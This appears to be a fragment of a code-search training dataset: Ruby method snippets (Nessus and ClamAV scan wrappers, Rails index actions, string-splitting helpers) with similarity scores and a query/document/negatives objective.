"def scan_stop_all\n\t\t\tb=scan_list_uids\n\t\t\tb.each {|uuid|\n\t\t\t\tscan_stop(uuid)\n\t\t\t}\n\t\t\treturn b\n\t\tend",
"def scan_resume_all\n\t\t\tb=scan_list_uids\n\t\t\tb.each {|uuid|\n\t\t\t\tscan_resume(uuid)\n\t\t\t}\n\t\t\treturn b\n\t\tend",
"def scan_resume_all\r\n\t\tb=scan_list_uids\r\n\t\tb.each {|uuid|\r\n\t\t\tscan_resume(uuid)\r\n\t\t}\r\n\t\treturn b\r\n\tend",
"def all\n @list\n end",
"def get_all()\n @params\n end",
"def smell_list\n if @display_masked_warnings\n result = @examiner.all_smells.map {|smell| \" #{smell.report(SMELL_FORMAT)}\"}\n else\n result = @examiner.all_active_smells.map {|smell| \" #{smell.report(SMELL_FORMAT)}\"}\n end\n result.join(\"\\n\")\n end",
"def all\n []\n end",
"def all\n list_embedded Organization.exists(carrier_profile: true).order_by([:legal_name]).to_a\n end",
"def all\n \n end",
"def feeds\n all.select { |c| c.google_id =~ /^feed/ }\n end",
"def scan\n @radar_scan, @known_items = import_data\n @results = Services::Scan.new(\n radar_scan: @radar_scan,\n known_items: @known_items,\n accuracy: MATCH_ACCURACY\n ).run\n rescue ArgumentError => e\n puts \"Error: #{e.message}\"\n end",
"def get_informations\n infos = []\n @config.keys.each do |key|\n section = get_section(key) \n infos << section unless section[SECTION].empty?\n end\n\n infos\n end",
"def scan_stop_all\r\n\t\tb=scan_list_uids\r\n\t\tb.each {|uuid|\r\n\t\t\tscan_stop(uuid)\r\n\t\t}\r\n\t\treturn b\r\n\tend",
"def scan!\n throttle_scan_frequency!\n result = ismaster\n new_description = Description.new(server.address, result,\n server.round_trip_time_averager.average_round_trip_time)\n server.cluster.run_sdam_flow(server.description, new_description)\n server.description\n end",
"def all\n b = Batt::Reader.new\n result = b.status\n\n size = result.keys.map{ |k| k.length }.reduce(0) { |m, l| m = l if l > m; m }\n result.each do |k,v|\n puts \"%#{ size }s: %s\" % [ k, v ]\n end\n\n end",
"def index\n @beacon_transmitters = BeaconTransmitter.all\n end",
"def scan_list_uids\r\n\t\tpost= { \"token\" => @token } \r\n\t\tdocxml=nessus_request('scan/list', post)\r\n\t\tuuids=Array.new\r\n\t\tdocxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| uuids.push(scan.elements['uuid'].text) }\r\n\t\treturn uuids\r\n\tend",
"def run_scanner\n Bundler::Audit::Scanner.new.scan\n end",
"def get_monitors\n if @monitors.nil?\n @monitors = @dog.get_all_monitors(group_states: 'all')\n logger.info \"Found #{@monitors[1].length} existing monitors in DataDog\"\n if @monitors[1].empty?\n raise 'ERROR: DataDog API call returned no existing monitors. ' \\\n 'Something is wrong.'\n end\n end\n @monitors[1]\n end",
"def all\n Message::Statement.display_all_account_data(raw_data_to_a)\n end",
"def all\n @dealing_platform.gather 'accounts', :accounts, Account\n end",
"def getAll(testbed = nil)\n load\n return @@nds if testbed.nil?\n ret = []\n @@nds.each{|n| ret << n if n['testbed'] == testbed}\n ret\n end",
"def index\n @feed_infos = FeedInfo.all\n end",
"def initialize\n super\n select @all\n end",
"def index\n @infos = Info.all\n end",
"def index\n @debug_infos = DebugInfo.all\n end",
"def run_all\n fail \"no scanner opts (start not called?)!\" if @scanner_opts.nil?\n tracker.run_checks\n ::Brakeman.filter_warnings tracker, @scanner_opts\n print_failed\n throw :task_has_failed if tracker.filtered_warnings.any?\n end",
"def all\n load[:results]\n end",
"def all\n @items.each {|item| p item}\n end",
"def gatherAllItemsFromAvailableStands()\n\n # Set up three arrays.\n array_of_available_food_prices = []\n array_of_available_drink_prices = []\n array_of_available_condiments = []\n\n # Get the food prices, drink prices, and available condiments that each stand has.\n @searchQuery.each do |resultingStand|\n array_of_available_food_prices.push(FoodPrice.where( \"hot_dog_stands_id = ?\", resultingStand.id).to_a)\n array_of_available_drink_prices.push(DrinkPrice.where( \"hot_dog_stands_id = ?\", resultingStand.id).to_a)\n array_of_available_condiments.push(AvailableCondiment.where( \"hot_dog_stands_id = ?\", resultingStand.id).to_a)\n end\n\n # Place the resulting arrays into a hash, a Ruby-based dictionary.\n allAvailableItemsForTheStands = {\\\n \"availableFoodAndPrices\" => array_of_available_food_prices, \\\n \"availableDrinksAndPrices\" => array_of_available_drink_prices, \\\n \"availableCondiments\" => array_of_available_condiments \\\n }\n\n return allAvailableItemsForTheStands\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def scan\n sanitize\n data = get_external_data\n return unless data\n get_celebrity_status\n if self.celebrity?\n shop.send_celebrity_notification(self)\n self.status = 'celebrity'\n end\n end",
"def all_reports\n reports = []\n bookings.each do |booking|\n reports << booking.report unless booking.report.nil?\n end\n reports.reverse\n end",
"def get_discovered_sites_by_crawler\t\t\n\t\tputs \"Print summary report of discovered sites. \" if @verbose\n\t\tbegin\n\t\t\tputs \"\\nSummary Report of Discovered Sites from the Crawler:\"\n\t\t\tsites = Hash.new\n\t\t\t@discovered_urls_by_crawler.keys.each do |url|\n\t\t\t\tsite=url_2_site(url)\n\t\t\t\tsites[site]=true unless sites.key?(site)\n\t\t\tend\n\t\t\tsites.keys.map { |site| puts site }\n\t\t\tputs \"Total: #{sites.size}\"\n\t\t\tputs \"End of the summary\"\n\t\t\treturn sites.keys\n rescue => ee\n\t\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n\tend",
"def collect_public_facing_variables\n\n @active_bios = Bio.where(:profile_active => true)\n @book_resource_request = ResourceRequest.new(\"\")\n \n if !@active_bios.empty?\n @active_bio_questions = BioQuestion.where(:active => true).order(:question_order_by)\n\n @active_bio_question_ids = []\n \n @active_bio_questions.each do |b|\n @active_bio_question_ids << b.id\n end\n \n @active_bio_answers = BioAnswer.where(:bio_question_id => @active_bio_question_ids)\n @active_bio_users = []\n\n @active_bios.each do |bio|\n @active_bio_users << User.find(bio.user_id)\n end\n\n @active_book_resources = BookResource.where(active: true)\n\n else\n\n @active_book_resources = BookResource.where(active: true)\n\n end\n end",
"def all_charges(scans)\n scans.map do |scan|\n {\n title: scan.product.title,\n quantity: scan.quantity,\n amount: priceify_number(scan.total_cost(apply_discount: false))\n }\n end\n end",
"def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end",
"def all\n results_from(response)\n end",
"def scan\n unless $config[\"clam_bin_dir\"]\n $logger.info(\"clamscan: skipped (no clam_bin_dir specified)\")\n return Scan.find(:last)\n end\n $logger.info(\"clamscan: start\")\n start = Time.now\n FileUtils.rm($config[\"clamscan_log\"], :force => true)\t# only clean previous logs if about to scan\n FileUtils.rm($config[\"clamscan_stderr\"], :force => true)\n #`#{Pathname($config[\"clam_bin_dir\"]) + \"clamscan\"} -r --quiet --log=\"#{$config[\"clamscan_log\"]}\" --exclude=\"\\.(#{$config[\"excludes\"].join('|')})$\" \"#{$config[\"scan_dir\"]}\" 2>#{$config[\"clamscan_stderr\"]}`\n `#{Pathname($config[\"clam_bin_dir\"]) + \"clamscan\"} #{$config[\"clamscan_options\"]} --log=\"#{$config[\"clamscan_log\"]}\" --exclude=\"\\.(#{$config[\"excludes\"].join('|')})$\" \"#{$config[\"scan_dir\"]}\" 2>#{$config[\"clamscan_stderr\"]}`\n complete = Time.now\n $logger.info(\"clamscan: complete\")\n Scan.create_from_log(start, complete, $config[\"scan_dir\"], $config[\"clamscan_log\"])\nend",
"def find_all\n \n end",
"def all\n self.datat_location\n self.datat_read\n self.datat_select\n end",
"def scan_for_all(token); end",
"def scan_for_all(token); end"
] |
[
"0.664807",
"0.664807",
"0.6523927",
"0.63976824",
"0.62439317",
"0.6159222",
"0.5966648",
"0.59597987",
"0.5921369",
"0.5921369",
"0.58139735",
"0.58065814",
"0.57967055",
"0.56971145",
"0.56424934",
"0.56110287",
"0.56026167",
"0.55651116",
"0.5558006",
"0.5555861",
"0.5507189",
"0.548167",
"0.54682046",
"0.5401399",
"0.53710234",
"0.5348757",
"0.53476775",
"0.5334858",
"0.5308285",
"0.52927047",
"0.5269056",
"0.52655506",
"0.52556205",
"0.52537984",
"0.521911",
"0.5213301",
"0.5212881",
"0.52003205",
"0.51885563",
"0.51565105",
"0.51492065",
"0.5141273",
"0.5132972",
"0.51265484",
"0.51262355",
"0.51244545",
"0.5120573",
"0.51184326",
"0.51160735",
"0.5108313",
"0.50878406",
"0.5067484",
"0.5060439",
"0.5049465",
"0.5047244",
"0.50459266",
"0.5044662",
"0.5043362",
"0.5043044",
"0.5030815",
"0.5023262",
"0.50174123",
"0.50154763",
"0.49940717",
"0.49908966",
"0.49843517",
"0.49802646",
"0.49775577",
"0.49728066",
"0.49676123",
"0.4961939",
"0.49586132",
"0.49579096",
"0.49574617",
"0.49568516",
"0.49554464",
"0.49433753",
"0.49417907",
"0.49401775",
"0.49395734",
"0.4938131",
"0.4936794",
"0.49228448",
"0.4921556",
"0.49188864",
"0.4915664",
"0.49094033",
"0.49080062",
"0.49052137",
"0.48973057",
"0.48918277",
"0.48908615",
"0.488766",
"0.48840582",
"0.48838177",
"0.48781502",
"0.48681206",
"0.48666435",
"0.48610514",
"0.48610514"
] |
0.5418284
|
23
|
param : String return : [ [ String, String or nil ], ... ]
|
def decode_from_percent_encoded_str( str )
str.split( '&', -1 ).map! do |s|
if s.empty?
[ '', nil ]
else
pair = s.split( '=', -1 ).map!{ |s| dec_perenc( s ) }
# TODO: pair の要素数は 1 以上 2 以下 ('=' がない場合など, 1 個だけの場合もある)
[ pair[0], pair[1] ]
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def string_to_array(str)\n return [] if str.blank?\n return str.split(\",\").each{|t| t.strip!} if str.class == String\n return []\n end",
"def string_to_arr(str)\n arr = str.split(\" \")\n arr_f = []\n \n for a in arr\n if a != \"\"\n arr_f.push(a.strip)\n end\n end\n \n return arr_f\n end",
"def split_args(str)\n # We need to handle empty strings ourselves; CSV.parse_line() will\n # return [nil].\n return [] if not str or str.empty?\n return CSV.parse_line(str, ' ').map {|i| i.to_s }\n end",
"def array_from_string string\n # takes the string found when params tries to return an array, and reconstruct the array.\n array = string.split(/[^Q1234567890]+/)\n array.delete(\"\")\n array\n end",
"def convert_string_to_array(str = \"\", seperator = \" \")\n str.split(seperator).map(&:strip).uniq.compact\n end",
"def string_to_array(string)\n string.split(\" \")\nend",
"def string_to_array(string)\n string.split(\" \")\nend",
"def split_string_to_array(str)\n @string_as_array = str.split('')\n return @string_as_array\nend",
"def arrayorize(value)\n case value\n when nil then return []\n when String then value.to_s.split\n when Symbol then value.to_s.split\n else value\n end\n end",
"def get_list_or_string(name)\n return nil unless exists?(name)\n list_or_string = ::VIM::evaluate(\"#{name}\")\n if list_or_string.kind_of?(Array)\n list_or_string.map { |item| item.to_s }\n else\n list_or_string.to_s\n end\n end",
"def get_users_a\n\n return [] if self.users.nil? or self.users.empty?\n\n array = self.users.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def strings_for_select( *_array)\n _array = _array.flatten\n if _array.blank?\n []\n else\n _array.zip _array\n end\n end",
"def make_array\n @phrase_string.downcase.split(WORD_SPLIT).reject(&:empty?)\n end",
"def college_application_choice_options_array\n return %w[Reach Solid Safety] if college_application_choice_options.blank?\n college_application_choice_options.try(:split, \"\\n\").try(:collect, &:strip).to_a\n end",
"def extract(str)\n [str]\n end",
"def get_groups_a\n\n return [] if self.groups.nil? or self.groups.empty?\n\n array = self.groups.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def content_as_array\n begin\n # '[\"a\",\"b\", \"c\"]' -> '\"a\",\"b\",\"c\"'\n no_brackets = content[1...-1]\n\n # '\"a\",\"b\",\"c\"' -> ['\"a\"', '\"b\"', '\"c\"']\n quoted_elements = no_brackets.split(\", \")\n\n # ['\"a\"', '\"b\"', '\"c\"'] -> ['a', 'b', 'c']\n quoted_elements.map { |quoted_elt| quoted_elt[1...-1] }\n rescue\n []\n end\n end",
"def fetch_csv_array(str) # instance method\n\n #remove whitespace\n str.gsub!(/\\s+/, \"\")\n return str.split(',')\n end",
"def split_into_array(word)\n word.split(\"\")\nend",
"def sentence_to_array (string)\n string_split = string.split('.')\n string_split.map! do |words|\n words.split('!') \n end\n string_split.flatten!\n\n string_split.map! do |words|\n words.split('?') \n end\n string_split.flatten\nend",
"def str_to_list str\n case\n when str.is_a?(String) then str.split(/[\\s,]+/).uniq.sort\n when str.is_a?(Array) then str.uniq.sort\n else\n raise ::ArgumentError.new(\"str_to_list: #{str}\")\n end\n end",
"def markup_to_parameter_array(str)\n str.downcase.slice(1,str.size-2).strip.gsub(/[\\s]+/, \" \").split(/:/).map {|s| s.strip}\n end",
"def rake_array_arg(arg, delim = \" \")\n return arg.split(delim) if arg.is_a? String\n return arg\nend",
"def parameters_as_array\n @parameters.to_s.split(' ')\n end",
"def to_array(string)\n word_array=[]\n string.scan(/\\w+/)\nend",
"def quotelist( *args )\n\t\t\treturn args.flatten.collect {|part| part =~ /\\s/ ? part.inspect : part}\n\t\tend",
"def get_bookids_from_param(bookid_string)\n if bookid_string.blank? \n return []\n end\n return bookid_string.split(\",\")\n end",
"def get_triggers_a\n\n return [] if self.triggers.nil? or self.triggers.empty?\n\n array = self.triggers.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def convert_to_array(attr)\n attr = attr.split(',')\n return attr\nend",
"def to_array\n self.word.split(\"\")\n end",
"def get_teams_a\n\n return [] if self.teams.nil? or self.teams.empty?\n\n array = self.teams.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def parse_returned_params_as_list(attribute)\n if returned_parameters[attribute] && !returned_parameters[attribute].empty?\n returned_parameters[attribute].to_s.split(',')\n end\n end",
"def components\n @components ||= @string.split('/').reject{|x| x == '' || x == nil} rescue []\n end",
"def string_to_nested_array(str)\n arr1 = str.split(',')\n arr2 = []\n for i in 0..arr1.size - 1\n arr2[i] = arr1[i].split(':')\n end\n return arr2\nend",
"def convert_string_tags_to_array(_tags)\n (_tags).split(tags_separator).map(&:strip).reject(&:blank?)\n end",
"def list(arr)\n return \"\" if arr.empty?\n\n str = []\n\n arr.each do |hsh|\n hsh.each do |k, v|\n str << v\n end\n end\n \n return str[0] if str.length < 2\n\n names = ''\n idx = 0\n\n until idx == str.length - 2\n names << str[idx] + ', '\n idx += 1\n end\n names << str[-2] + ' & '\n names << str[-1]\n \nend",
"def to_array(name)\n if name.is_a? Array\n name\n elsif name.is_a? Hash\n if name.keys.size == 1\n [name.values].flatten\n else\n STDERR.puts \"invalid group configuration: #{name}\"\n exit(-1)\n end\n else\n [name]\n end\nend",
"def to_arr(value)\n if value.is_a?(Array)\n value\n else\n # Split by commas, but don't use commas inside double quotes\n # https://stackoverflow.com/questions/21105360/regex-find-comma-not-inside-quotes\n value.to_s.split(/(?!\\B\"[^\"]*),(?![^\"]*\"\\B)/)\n end\n end",
"def list(names)\n if names.size == 0 ; return ''\n elsif names.size == 1 ; return \"#{names[0][:name]}\"\n else ; first_elements = names[0..-2].map {|element| element[:name]}\n return \"#{first_elements.join(\", \")} & #{names[-1][:name]}\"\n end\nend",
"def get_all\n return @strings\n end",
"def list names\ncase names.size\n when 0\n \"\"\n when 1\n names[0][:name]\n when 2\n \"#{names[0][:name]} & #{names[1][:name]}\"\n else\n \"#{names[0..names.size-2].map { |x| x[:name] }.join(\", \")} & #{names[names.size-1][:name]}\"\n end\nend",
"def parts\n @parts ||= begin\n ary = string.split(/said/i, 2)\n if ary.size == 2 && ary[0].size > 31\n [string]\n else\n ary\n end\n end\n end",
"def get_variables(str)\n retArray = Array.new\n unless str.nil? || str.empty?\n retArray = str.scan(/\\${\\w+}/).map! { |element| \n element.gsub(/\\$|\\{|\\}/, '')\n }\n end\n return retArray\n end",
"def make_list(text)\n\traw_text_array = text.split(\" \")\n\treturn raw_text_array\nend",
"def activity_log_non_student_time_categories_array\n activity_log_non_student_time_categories.try(:split, \"\\n\").try(:collect, &:strip).to_a\n end",
"def listify(str)\n str.split(/(~\\[\\w*\\])/).inject(List.new) do |list, s|\n if @cfg.nonterm s then\n list << s\n else\n # This also handles the s.empty? case.\n s.split('').each { |c| list << c }\n end\n list\n end\n end",
"def sminuzza_tags(str)\n return [] unless str\n str.split(/[ ,]/).map{|tag| '' + tag.downcase }.select{|tag| tag.length > 1 }.sort.uniq rescue [\"Execption::SminuzzaTag\", \"#{$!}\" ]\n end",
"def tags_array\n # http://stackoverflow.com/a/17641383/2080089\n return self.tags.split(',').uniq.map(&:strip)\n end",
"def return_string_array(array)\n array.collect do |element|\n element.to_s\n end\nend",
"def str_cards_tosymbarr(str)\r\n tmp = str.split(\",\")\r\n tmp.collect!{|e| e.to_sym}\r\n return tmp\r\n end",
"def string_splitter( string )\n\n array = []\n array = string.split(\"\")\n p array\n return array\n\nend",
"def prepare_words(words)\n return [''] if words.blank?\n a = words.split(/[,\\s]/).map(&:strip)\n a.any? ? a : ['']\n end",
"def convert_tags(string)\n if string.nil?\n []\n else\n tags = string.split(',')\n tags.map(&:strip)\n end\n end",
"def resume_to_array(text)\n result = text\n result.gsub!(\",\",\"\")\n result.gsub!(\"(\",\"\")\n result.gsub!(\")\",\"\")\n result.gsub!(\"[\",\"\")\n result.gsub!(\"]\",\"\")\n result.downcase!\n return result.split\nend",
"def split_value(value)\n arr = value.split(pattern)\n # If the result of split is empty, it was probably an empty string.\n if arr.empty?\n return [value]\n end\n\n arr\n end",
"def array_sentences(str)\n sentences = str.split('.')\n sentences.map! do |sent|\n sent.split('?').map! do |sent2|\n sent2.split('!')\n end\n end\n sentences.flatten\nend",
"def get_substrings str\n\t\t(0..string.length-1).flat_map do |i|\n\t\t (1..string.length-i).flat_map do |j|\n\t\t string[i,j]\n\t\t end\n\t \tend\n\tend",
"def proptextlistarray(name) #:nodoc:\n @properties.select{ |f| f.name? name }.map{ |p| Vpim.decode_text_list(p.value_raw) }.flatten\n end",
"def array_of_2_char_substrings\n @array_of_2_char_substrings ||= array_of_single_char_substrings.map do |a|\n array_of_single_char_substrings.map {|b| \"#{a}#{b}\" }\n end.flatten\n end",
"def fields(input_fields)\n output = input_fields.gsub(/[\\s,]/ , \" \")\n output_array = output.split\n return output_array\nend",
"def name_array(name1, name2)\n real_name_array = [name1, name2]\n real_name_array\nend",
"def value\n return @value.split(',') if @type == 'StringList'\n @value\n end",
"def lookup_array_attribute (attname, workitem, options={})\n\n tostring = options.delete(:to_s)\n\n v = lookup_attribute(attname, workitem, options)\n\n return nil unless v\n\n v = v.to_s.split(',').collect { |e| e.strip } \\\n unless v.is_a?(Array)\n\n v = v.collect { |e| e.to_s } \\\n if tostring\n\n v\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def get_elements(array)\n\n elements = []\n if array != nil\n elements = array.to_a\n end\n return elements\n\nend",
"def ary\n @ary ||= rule.sep('[').maybe(elements).sep(']')\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def tag_names\n if tags_string\n tags_string.split(',').map(&:strip)\n else\n []\n end\n end",
"def match_array(string, match_string)\n arr = []\n string.scan(Regexp.new(match_string)) do |element|\n arr << element\n end\n return arr\n end",
"def arrayify_and_stringify_elements(arg)\n return false if arg == false\n \n case\n when arg.blank? then []\n when arg.is_a?(Array) then arg\n else arg.to_s.strip.split(/\\s/)\n end.map(&:to_s)\n end",
"def param_list(param)\n if params[param].blank?\n nil\n else\n params[param].split(',')\n end\n end",
"def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"def parse_to_array(line_as_string)\n as_array = line_as_string.split(\" \")\nend",
"def string_matchers()\n []\n end",
"def parse_options(option_string)\n option_type_regex = /\\w*:/\n option_value_regex = /\\w*;+/\n option_return_array = []\n \n raw_option_type = option_string.scan(option_type_regex)\n option_type = raw_option_type[0].gsub(':', '')\n \n raw_option_values = option_string.scan(option_value_regex)\n option_values = raw_option_values.each do |value|\n value = value.gsub(';', '') \n end\n \n #// Load return array\n option_return_array << option_type\n option_return_array << option_values\n return option_return_array\n end",
"def subsubstrings(string)\n string.size <= 1 ? [string] : [*subsubstrings(string.chop), string]\nend",
"def liststrs(strs)\n return \"\" if strs.empty?\n if (strs.count == 1)\n strs[0]\n else\n last = strs.pop\n [strs.join(', '), last].join(' and ')\n end\nend",
"def activity_log_student_time_categories_array\n activity_log_student_time_categories.try(:split, \"\\n\").try(:collect, &:strip).to_a\n end",
"def getPathElements(path)\n #N Without this path as a single string won't be decomposed into a list of elements\n return path.is_a?(String) ? (path == \"\" ? [] : path.split(\"/\")) : path\n end",
"def get_pokemon_list(*wanted_data)\n wanted_data = wanted_data[0] if wanted_data[0].is_a?(Array)\n r = execute('getPokemonList',\n id: $pokemon_party.online_id, species: wanted_data[0], levelMin: wanted_data[1],\n levelMax: wanted_data[2], gender: translate_gender(wanted_data[3]))\n return [r] if r == 'nothing'\n return r.split('/,,,/') if r.include?('/,,,/')\n\n return r.split(',')\n end",
"def get_multiple(list)\n list.map{ |x| x.nil? ? nil : get(x) }\n end",
"def get #:nodoc:\n p = Array.new\n p.push(@long_form)\n p.push(@short_form) if @short_form != \"\"\n p.push(@arg_flag)\n return p\n end",
"def ext_arr(ext)\n temp_arr = []\n ext.each{|e| temp_arr.push(e.text) }\n return temp_arr\n end",
"def create_arr_arrays(arr_strings)\n\tarr_strings.map do |row| \n\t\trow.split(\",\").map { |word| word.strip }\n\t\tend\nend",
"def get_braille_arrays\n string = braille_to_string\n lines = string.scan(/.{1,80}/)\n pairs = lines.map do |string|\n string.scan(/../)\n end\n end",
"def arrayify(str)\n str.split(\"\\n\")\n end",
"def parse_parameters(raw)\n ret = Array.new\n i = 0\n while raw.size > 0\n case raw[0]\n when 'Z', 'B', 'C', 'S', 'F', 'I', 'D', 'J'\n ret[i] = ['P']\n i += 1\n raw = raw[1..-1]\n when 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[1..t-1]]\n i += 1\n raw = raw[t+1..-1]\n if raw.size == 0\n return ret\n end\n when '['\n if raw[1] == 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[2..t-1]]\n i += 1\n raw = raw[t+1..-1]\n else\n ret[i] = ['P']\n i += 1\n raw = raw[2..-1]\n end\n end\n end\n return ret\nend",
"def split_strip_compact(values_str, delimiter = \",\")\n return [] if not values_str\n values_str.split(delimiter).map(&:strip).reject(&:blank?)\nend",
"def get_conditions\n\n conditions = []\n\n unless self.conditions.nil? or self.conditions.empty?\n conditions = self.conditions.split(\"\\n\").collect {|entry| entry.split('-') }\n end\n return conditions\n end",
"def extract_subjects_from_table(subject_list)\n subject_list\n .split(',')\n .map(&:strip)\n .reject { |subject| subject == 'None' }\n .compact\nend",
"def list names\n names = names.map { |name| name[:name] }\n p names\n case\n when names.count == 0\n \"\"\n when names.count == 1\n names[0]\n when names.count == 2\n names[0] + \" & \" + names[1]\n when names.count > 2\n last = names.pop\n names.join(\", \") + \" & \" + last\n end\nend",
"def list_of(maybe_an_array)\n [maybe_an_array].flatten\n end",
"def make_list (item_list)\n #convert user input to array\n item_list = item_list.split(' ')\n return item_list\nend",
"def destringify_array(str)\n\treturn str.to_s.gsub(\"[\",\"\").gsub(\"]\", \"\").split(\",\");\nend",
"def text_to_array(string)\n delimiters = ['.', '!', '?']\n array = string.split(/\\.|\\?|\\!/)\n array\nend",
"def substrings(str)\n str_arr = []\n 0.upto(str.length - 2) do |index|\n index.upto(str.length - 1) do |sub_endpoint|\n str_arr << substring(str, index, sub_endpoint ) unless index == sub_endpoint\n end\n end\n str_arr\nend",
"def substrings(str)\n return_arr = []\n\n str.length.times {|i| return_arr << substrings_at_start(str[i..-1])}\n return_arr.flatten\nend",
"def parse_array(parse_scalar_or_range)\n args[:list] = true\n str = clean_param(leave_slashes: true)\n return args[:default] if str.blank?\n\n result = []\n while (match = str.match(/^((\\\\.|[^\\\\,]+)+),/))\n str = match.post_match\n @val = match[1]\n result << send(parse_scalar_or_range)\n end\n @val = str\n result << send(parse_scalar_or_range)\n end"
] |
[
"0.65235347",
"0.64403963",
"0.6437402",
"0.6347517",
"0.6339965",
"0.61768395",
"0.61768395",
"0.6174168",
"0.61679107",
"0.61393446",
"0.6052927",
"0.60481435",
"0.603189",
"0.60203284",
"0.5992489",
"0.59824854",
"0.59697634",
"0.590372",
"0.5886214",
"0.58853394",
"0.5864596",
"0.5849185",
"0.58249897",
"0.5806006",
"0.57838064",
"0.57674074",
"0.57642007",
"0.57602966",
"0.5746907",
"0.5746742",
"0.57401717",
"0.5729211",
"0.5728618",
"0.57222843",
"0.56936145",
"0.5674991",
"0.5661674",
"0.5632329",
"0.56234485",
"0.56080705",
"0.5575812",
"0.5563017",
"0.555027",
"0.55484414",
"0.5546545",
"0.55347943",
"0.5530537",
"0.5527365",
"0.5524625",
"0.55047834",
"0.5474346",
"0.54712266",
"0.54708445",
"0.5464237",
"0.5462014",
"0.54614884",
"0.5458554",
"0.54575676",
"0.5447623",
"0.5441587",
"0.5436537",
"0.54354244",
"0.54351574",
"0.5414713",
"0.54085046",
"0.54017",
"0.53906524",
"0.5390489",
"0.5388396",
"0.53853935",
"0.53850734",
"0.53803265",
"0.53778476",
"0.53778476",
"0.53778476",
"0.53715616",
"0.53705305",
"0.5370486",
"0.5368804",
"0.53672814",
"0.53617716",
"0.5357312",
"0.5351041",
"0.5349506",
"0.5347094",
"0.53451747",
"0.5331768",
"0.5322241",
"0.5318375",
"0.53120774",
"0.5307209",
"0.53055936",
"0.5303688",
"0.5297568",
"0.52946967",
"0.52933323",
"0.5289298",
"0.5288782",
"0.5288406",
"0.5283656",
"0.52814966"
] |
0.0
|
-1
|
param : [ [ String, String or nil ], ... ] return : String
|
def encode_to_percent_encoded_str_pairs( str_pairs )
str_pairs.map do |pair|
pair[1].nil? ? enc_perenc( pair[0] )
: enc_perenc( pair[0] ) + '=' + enc_perenc( pair[1] )
end.join( '&' )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def musketeer *values\n values.join '' unless values.include? nil\n end",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\n end",
"def not_so_tricky_method(string_param, array_param)\n string_param += \"rutabaga\"\n array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += 'rutabaga'\n an_array_param += ['rutabaga']\n\n return a_string_param, an_array_param\nend",
"def one_of(*args)\n args.each {|x|\n return to_joined_str(x) if x\n }\n\n \"\"\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += 'rutabaga'\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n \n return a_string_param, an_array_param\nend",
"def parameter_string\n\t\tend",
"def not_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
"def not_so_tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param += [\"rutabaga\"]\n\n return a_string_param, an_array_param\nend",
